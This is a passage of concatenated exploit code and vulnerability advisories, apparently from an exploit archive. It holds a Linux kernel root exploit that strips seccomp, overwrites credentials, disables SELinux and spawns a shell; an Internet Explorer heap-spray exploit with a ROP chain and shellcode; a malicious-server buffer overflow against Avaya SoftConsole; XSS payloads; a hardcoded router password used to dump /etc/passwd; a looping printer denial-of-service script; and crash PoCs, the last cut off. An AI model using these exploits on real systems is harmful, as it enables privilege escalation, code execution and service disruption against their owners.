write_addr4(addr, (unsigned int)val);
write_addr4(addr+4, (unsigned int)(val>>32));
}
void mem_write(unsigned long addr, void *buf, unsigned long bytes) {
if (bytes < 4 || bytes % 4 != 0) {
//cannot write less than 4 bytes
printf("Invalid write size\n");
exit(-1);
}
int i = 0;
char *cbuf = buf;
for(i = 0; i < bytes; i+=4) {
write_addr4(addr+i, *(unsigned int*)(cbuf+i));
}
}
void *write_5_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
unsigned long *aa = arg;
unsigned long addr = aa[0];
unsigned long data = aa[1];
write_5(addr, data);
done_overwrite = 1;
}
int done_rooting;
void *thread_to_be_root(void *arg) {
// this guy exists for copying data and becoming root
while(!done_rooting) {
usleep(10000);
}
printf("trying to call system...\n");
system("/bin/sh");
}
void do_exploit_2(unsigned long task_addr) {
// second part of the exploit
// now that we don't have seccomp we can fork and use waitid to write up to 5 non-NULL bytes
// I map a large section of memory and search for it in the physmap to find an address with 3 NULL bytes
// The physmap allows us to control data from userland and bypass smap
// sleep for a bit to make sure threads exit
usleep(100000);
// remove seccomp filter
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP-4, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP_MODE, WEXITED, NULL);
// verify seccomp removed for child
int pid = fork();
int rand_fd = open("/dev/random", O_RDONLY); // this will fail due to chroot
if (errno == 1) {
printf("SECCOMP NOT ACTUALLY GONE!\n");
exit(-1);
}
if (!pid) {
exit(0);
}
printf("part 2 start\n");
// First, get a physmap address in the kernel land
struct PagePair pp;
get_physmap(&pp);
// now we have a physmap address that we know, we can create our fake files
// we will set up fake files struct
memset((void*)pp.userland_page, 0x41, 0x1000);
unsigned long files_struct = pp.userland_page;
*(int*)files_struct = 100; // count (make sure it's never freed)
*(unsigned long*)(files_struct+32) = pp.kernel_page+0x100; // fdt
// set up fdt
unsigned long fdt = pp.userland_page+0x100;
*(int*)fdt = 2; // num_files
*(unsigned long*)(fdt+8) = pp.kernel_page+0x200; // fd[]
// set up fd[]
unsigned long fdarr = pp.userland_page+0x200;
*(unsigned long*)fdarr = pp.kernel_page+0x300; // fd[0]
// set up file struct
unsigned long file = pp.userland_page+0x300;
*(unsigned long*)(file+40) = pp.kernel_page+0x400; // f_op
*(unsigned int*)(file+68) = FMODE_LSEEK; // mode
*(unsigned long*)(file+OFFSET_OF_F_COUNT)=100; // never free me
f_op = (unsigned long*)(pp.userland_page+0x400); // f_op pointer
// need to set up IS_PRIVATE(inode)) and file->cred = task->cred to pass checks for ioctl
// this is the IS_PRIVATE(inode)
*(unsigned long*)(file+OFFSET_OF_F_INODE)=pp.kernel_page+0x500; // inode
unsigned long inode = (unsigned long)(pp.userland_page+0x500); // inode
*(unsigned int*)(inode+OFFSET_OF_IFLAGS) = 0x200; // IS_PRIVATE
// write over files pointer in task struct
// will overwrite signal nsproxy and fs, so we will need to fix it
printf("here we go\n");
done_overwrite=0;
long aa[2];
aa[0] = task_addr + OFFSET_OF_FILES;
aa[1] = pp.kernel_page;
pthread_t th1;
// create the thread we will make root
done_rooting = 0;
if(pthread_create(&th1, NULL, thread_to_be_root, NULL)) {
printf("pthread failed\n");
exit(-1);
}
// create a thread to overwrite the files in our task
// this current thread can't do that because the signal will be corrupted
if(pthread_create(&th1, NULL, write_5_thread, aa)) {
printf("pthread failed\n");
exit(-1);
}
// wait for the thread to overwrite my files
while(!done_overwrite) {
}
// I'll use lseek here to do arbitrary reads
// need to set up IS_PRIVATE(inode)) and file->security = task->cred->security to pass checks for ioctl
// first fix up structures in FILE
// let's check another file
// leak out addr of parent
unsigned long parent_addr = read_addr(task_addr+OFFSET_OF_PARENT);
// grab security from task cred
unsigned long cred = read_addr(task_addr + OFFSET_OF_TASK_CRED);
unsigned long security = read_addr(cred + OFFSET_OF_CRED_SECURITY);
// fix up file->security
*(unsigned long*)(file+OFFSET_OF_F_SECURITY) = security;
// now have arb write through ioctl!
// okay first fix up task struct
// copy parent's nsproxy and set it's refcount high
long parent_nsproxy = read_addr(parent_addr+OFFSET_OF_NSPROXY);
write_addr(task_addr+OFFSET_OF_NSPROXY, parent_nsproxy);
write_addr4(parent_nsproxy+OFFSET_OF_NS_COUNT, 0x11111111);
// copy parent's fs and set it's refcount high
long parent_fs = read_addr(parent_addr+OFFSET_OF_FS);
write_addr(task_addr+OFFSET_OF_FS, parent_fs);
write_addr4(parent_fs+OFFSET_OF_FS_COUNT, 0x11111111);
// now set tasks refcount high, we don't want to free it ever either?
write_addr4(task_addr+OFFSET_OF_TASK_USAGE, 0x11111);
// GET ROOT
// disable selinux enforcing
write_addr4(kernel_base+SELINUX_ENFORCING_OFF, 0);
unsigned long thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP)-OFFSET_OF_THREAD_GROUP;
if (thread2 == task_addr) {
thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP+8)-OFFSET_OF_THREAD_GROUP;
}
unsigned long signal = read_addr(thread2+OFFSET_OF_SIGNAL);
write_addr(task_addr+OFFSET_OF_SIGNAL, signal);
// should be able to ptrace now (it's a decent test to make sure signal is fixed
// now fix up cred we want root
char buf[100];
memset(buf, 0, sizeof(buf));
mem_write(cred+CRED_UID_OFF, buf, CRED_ID_SIZE);
memset(buf, 0xff, sizeof(buf));
mem_write(cred+CRED_CAP_OFF, buf, CRED_CAP_SIZE);
unsigned long init_ns = INIT_USER_NS+kernel_base;
mem_write(cred+CRED_NS_OFF, &init_ns, 8); // is this okay
// now we need to just escape the file system sandbox (chroot)
unsigned long init_fs = INIT_FS+kernel_base;
write_addr(thread2+OFFSET_OF_FS, init_fs);
// WE ARE DONE!
// signal to the other thread and sleep forever
done_rooting = 1;
sleep(1000000);
}
/***** physmap code ******/
int done_locking;
char *mapping_base;
void *mlock_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
long i;
char last_val = 0;
while(!done_locking) {
last_val += 1;
for(i = 0xfff; i < 0x10000000; i+= 0x1000) {
mapping_base[i] = last_val;
}
}
}
void* mapping_changed() {
long i = 0;
for(i = 0; i < 0x10000000; i+= 0x1000) {
if (mapping_base[i] != 0x41) {
printf("%lx changed to %d\n", i, mapping_base[i]);
// lock that page in
if(mlock(&mapping_base[i], 0x1000)) {
perror("mlock");
}
printf("page locked!\n");
return &mapping_base[i];
}
}
return 0;
}
void get_physmap(struct PagePair *pp) {
// mmap a large amount of memory
// have one thread watch for changes, while we try overwriting it in the kernel's physmap
// lock the page in when it's found
unsigned long base = 0x100000000;
mapping_base = (char*)base;
long* a = mmap((void*)base, 0x10000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if ((long)a == -1) {
printf("mmap failed\n");
perror("mmap");
exit(-1);
}
printf("mapped %p\n", a);
memset(a, 0x41, 0x10000000);
done_locking = 0;
int j = 0;
for(j = 0; j < 4; j++) {
pthread_t th1;
if(pthread_create(&th1, NULL, mlock_thread, NULL)) {
printf("mlock thread create error\n");
exit(0);
}
}
// try to find it in physmap
unsigned long curr_guess = mapping_begin-0x80000000;
printf("trying to find physmap mapping\n");
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found mapping at %p\n", (void*)curr_guess);
curr_guess += 0x80000000;
break;
}
curr_guess += 0x10000000;
}
// try to find physmap
long *locked_mapping = NULL;
long *locked_kernel_mapping = NULL;
while(1) {
// this has 6 0's to ensure that we end up with an address containing only 5 non-zero vals
curr_guess += 0x1000000;
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess, WEXITED, NULL);
if (locked_mapping = mapping_changed()) {
locked_kernel_mapping = (long*)curr_guess;
printf("detected change at %p\n", (void*)curr_guess);
break;
}
}
// verify lock worked
locked_mapping[0] = 0x41414141;
syscall(SYS_waitid, P_ALL, 0, locked_kernel_mapping, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, &locked_kernel_mapping[100], WEXITED, NULL);
if (locked_mapping[0] != 0 || locked_mapping[100] != 0) {
printf("second write didn't work...");
}
printf("physmap addr is good\n");
if(pp) {
pp->userland_page = (unsigned long)locked_mapping;
pp->kernel_page = (unsigned long)locked_kernel_mapping;
}
done_locking = 1;
}
int main() {
install_mock_chrome_sandbox();
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
// set thread size smaller
pthread_attr_init(&thread_attr);
if(pthread_attr_setstacksize(&thread_attr, 0x10000)) {
printf("set stack size error\n");
return 0;
}
// get cpuid info so we know size of task_struct
int eax,ebx,ecx,edx;
eax=0xd;
ebx = ecx = edx = 0;
native_cpuid(&eax, &ebx, &ecx, &edx);
int xsave_size = ebx;
if(xsave_size == 0x340) {
spray_offset = 0x55dd00;
printf("for spray assuming task struct size is 5952\n");
}
else if(xsave_size == 0x440) {
spray_offset = 0x5448c0;
printf("for spray assuming task struct size is 6208\n");
}
else {
printf("unknown xsave size... exiting since I don't know have the offsets hardcoded for that task save\n");
return 0;
}
printf("check in /sys/kernel/slab/task_struct/object_size to make sure this is right\n");
printf("If it's wrong the exploit will fail\n");
unsigned long base = get_base();
if (base == -1) {
return -1;
}
unseccomp();
return 0;
}
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: SMPlayer 17.11.0 - '.m3u' Crash (PoC)
# Date: 05-11-2017
# Vulnerable Software: SMPlayer v17.11.0
# Vendor Homepage: http://www.smplayer.info
# Version: v17.11.0
# Software Link: http://www.smplayer.info/en/downloads
# Tested On: Windows 7 x64
#
#
# PoC: generate crash.m3u, open playlist twice in app
#
#
file="crash.m3u"
crash = "A"*24538 #crashes on 24538, but more will do
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
# Exploit Title: Logitech Media Server : HTML code injection and execution.
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.
POC:
1. Access and go to the Radio URL tab and add a new URL.
2. Add script as the value of the field.
3. Payload : <script> alert(1)</script>
4. Script saved and gives an image msg with a javascript execution on image click.
5. Therefore, Persistent XSS.
# Exploit Title: Logitech Media Server : Persistent Cross Site Scripting(XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Software Link: [download link if available]
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.
POC:
Access and go to the favorites tab and add a new favorite.
Add script as the value of the field.
Payload : <script> alert(1)</script>
Script saved and gives a pop-up to user every time they access that page.
Therefore, Persistent XSS.
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-SOFT-CONSOLE-REMOTE-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: apparitionSec
Vendor:
=============
www.avaya.com
Product:
===========
Avaya IP Office (IPO)
v9.1.0 - 10.1
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.
Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.
Vulnerability Type:
===================
Remote Buffer Overflow
CVE Reference:
==============
CVE-2017-11309
ASA-2017-307
Security Issue:
================
SoftConsole.exe does not check bounds when reading server response on making an outbound connection, resulting in a classic
Buffer Overflow exploit.
Avaya IP Office user must connect to a malicious server where a remote attacker can then deliver the buffer overflow
payload in the server response, exploiting the SoftConsole client. This vulnerability allows attackers to deliver and
execute arbitrary attacker supplied code on the Avaya host system.
References:
===========
https://downloads.avaya.com/css/P8/documents/101044086
POC Video URL:
==============
https://vimeo.com/224679849
Exploit/POC:
=============
import struct,socket
#Log data, item 8
# Address=50E083A1
# Message= 0x50e083a1 : pop ecx # pop ebp # ret 0x04 | {PAGE_EXECUTE_READ} [IndyCore190.bpl]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v19.0.14356.6604
#(C:\Program Files (x86)\Avaya\IP Office\SoftConsole\IndyCore190.bpl)
#50E083A1 #POP ECX POP EBP RET
'''
No SafeSEH
'''
HOST="127.0.0.1"
PORT=80
#shellcode to call wusa.exe Windows Update Standalone Installer (Tested Win 7)
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08"
"\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x8B\x7B"
"\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99\x32\x17\x66\xC1"
"\xCA\x01\xAE\x75\xF7\x66\x81\xFA\x10\xF5\xE0\xE2\x75\xCF\x8B\x53"
"\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68"
"\x2E\x65\x78\x65\x68\x77\x75\x73\x61\x54\x87\x04\x24\x50\xFF\xD5"
"\xCC")
'''
calculated by taking the negative of the number and convert to hex:
in gdb
1
2
p/x -1116
$4 = 0xfffffba4
So now we know that our near jump is going to be \xe9\xa4\xfb\xff\xff.
'''
seh=struct.pack("<L", 0x50E149FD) #POP ECX POP EBP RET
#payload="A"*564+"BBBBRRRR"+"A"*232 #control SEH here
#(gdb) p/x -112
#$1 = 0xffffff90
negjmp="\xeb\x90\xff\xff"
payload="A"*452+"\x90"*10+sc+"A"*5+negjmp+seh+"\x90"*226
s = socket.socket()
host = ''
s.bind((HOST, PORT))
s.listen(5)
print 'Avaya IP Office SoftConsole 9.1.0'
print '0day Remote Buffer Overflow Exploit'
print 'Discovery / exploit: hyp3rlinx\n'
print 'Listening on port 80 for Avaya client connectionz...'
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
print 'KABOOM!!!'
conn.close()
s.close()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: July 7, 2017
Vendor reply "under investigation" : July 7, 2017
Vendor acknowledgement of issue : July 12, 2017
CVE assigned by mitre: July 13, 2017
Vendor advisory: November 4, 2017
November 5, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: ApparitionSec
Vendor:
=============
www.avaya.com
Product:
===========
Avaya IP Office (IPO)
v9.1.0 - 10.1
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.
Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.
Vulnerability Type:
====================
ActiveX Remote Buffer Overflow
CVE Reference:
==============
CVE-2017-12969
ASA-2017-313
Security Issue:
================
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.
Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
Safe for Script: False
Safe for Init: False
ACCESS_VIOLATION
8C4A77 MOV EAX,[ECX]
SEH Chain:
-----------
1 8D00A3 po.dll
2 36A7E95 CIPElements.dll
3 36A8115 CIPElements.dll
4 788719 ViewerCtrl.OCX
5 788533 ViewerCtrl.OCX
6 78862A ViewerCtrl.OCX
7 6008793E mfc90u.dll
8 60089B31 mfc90u.dll
9 779858C5 ntdll.dll
(d360.1040c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for po.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for CIPElements.dll -
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
po!cip::po::SpecialObjects::getPresetObject+0x77:
06064a77 8b01 mov eax,dword ptr [ecx] ds:002b:00000000=????????
0:008> !load winext/msec
0:008> !exploitable
!exploitable 1.6.0.0
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for mshtml.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for user32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ieframe.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for iertutil.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for IEShims.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
Exploitability Classification: PROBABLY_EXPLOITABLE
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)
The data from the faulting address is later used as the target for a branch.
References:
==============
https://downloads.avaya.com/css/P8/documents/101044091
Exploit/POC:
=============
<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />
<script language='vbscript'>
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"
prototype = "Function open ( ByVal containerId As String ) As Long"
memberName = "open"
progid = "ViewerCtrlLib.ViewerCtrl"
argCount = 1
payload=String(5142, "A")
victim.open payload
</script>
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: July 12, 2017
Vendor acknowlegement: July 14, 2017
CVE assigned by mitre : August 19, 2017
Vendor advisory : November 4, 2017
November 5, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: Actiontec C1000A backdoor account
# Google Dork: NA
# Date: 11/04/2017
# Exploit Author: Joseph McDonagh
# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
# Software Link: N/A Hardware
# Version: Firmware CAC003-31.30L.86
# Tested on: Linux
# CVE : NA
# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.
# Proof of Concept
$ telnet 192.168.0.1
===Actiontec xDSL Router===
Login: admin
Password: CenturyL1nk
> sh
BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
Enter 'help' for a list of build-in commands
# cat /etc/passwd
admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
# cat /proc/version
Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
# cat /etc/group
root::0:root,admin,support,user
# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error. While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:
#!/usr/bin/python
import socket
import sys
target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")
payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"
print "[*] Starting DOS. Payload will be sent every time the server responds."
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target,int(port)))
print "[*] Sending DOS payload"
s.send(payload)
# Wait for server to respond with 500 error
s.recv(4096)
s.close()
except:
print("[!] Can't connect to target")
sys.exit()
#!/usr/bin/env python
# coding: utf-8
# Exploit Title: Jnes Version 1.0.2 Stack Buffer Overflow
# Date: 3-11-2017
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: http://www.jabosoft.com/home
# Software Link: http://www.jabosoft.com/categories/3
# Version: v1.0.2.15
# Tested on: Windows 7 Home Premium SP1 SPANISH
# Category: Windows Local Exploit
# How to use: open the emulator load any ROM go to options - cheats - add - Pro-Action Replay
# paste the contents of the open.txt in the box <address>-<value> click on ok
# you will get an error message click on ok close the cheat menu and bum
import struct
fuzzing = open('open.txt','w+')
eip = struct.pack('<I', 0x75744E2B) # (overwrites EIP with the address of user32.dll)
buffer = "A" * 812
nops = "\x90" * 20 #Nops
